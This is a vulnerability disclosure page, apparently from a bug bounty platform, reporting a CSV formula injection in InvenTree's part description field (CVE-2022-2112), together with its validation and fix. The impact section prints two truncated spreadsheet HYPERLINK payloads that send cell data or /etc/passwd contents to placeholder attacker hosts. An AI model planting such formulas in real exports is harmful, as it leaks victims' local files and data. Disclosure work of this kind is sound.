Formula Injection Part Description in inventree/inventree

1

Valid Reported on Jun 11th 2022

Description

Formula Injection/CSV Injection in `inventree` due to Improper Neutralization of Formula Elements in CSV File.

Proof of Concept

Video PoC link: https://drive.google.com/file/d/1mf_BTUDS1iZ4uJfBpc56_8WgpdZdN5_f/view?usp=sharing

Impact

Successful exploitation can lead to impacts such as client-sided command injection, code execution, or remote ex-filtration of contained confidential data. On constructing the payloads as

```
=HYPERLINK(CONCATENATE("http://attackerserver:port/a.txt?v="; ('file:///etc
=HYPERLINK("http://evil.com?x="&A3&","&B3&"[CR]","Error fetching info: Clic
```

An attacker can have access to /etc/passwd system file

Occurrences

api.py L883

References

- nvd

CVE
CVE-2022-2112
(Published)

Vulnerability Type
CWE-1236: Improper Neutralization of Formula Elements in a CSV File

Severity
Critical (9)

Registry
Pypi

Affected Version
0.7.1

Visibility
Public

Status
Fixed

Found by

saharshtapi
@saharshtapi
master

Fixed by

Oliver
@schrodingersgat
maintainer

This report was seen 481 times.

We are processing your report and will contact the **inventree** team within 24 hours.
6 months ago

Oliver validated this vulnerability 5 months ago

Thanks for reporting this, we were not aware of this vulnerability. It will be rem

saharshtapi has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Oliver marked this as fixed in 0.7.2 with commit 26bf51 5 months ago

Oliver has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

api.py#L883 has been validated ✔

saharshtapi 5 months ago Researcher

@admin Can you assign CVE?

Jamie Slome 5 months ago Admin

CVE assigned 👏

Sign in to join this conversation

leaderboard

FAQ

contact us

terms

privacy policy

team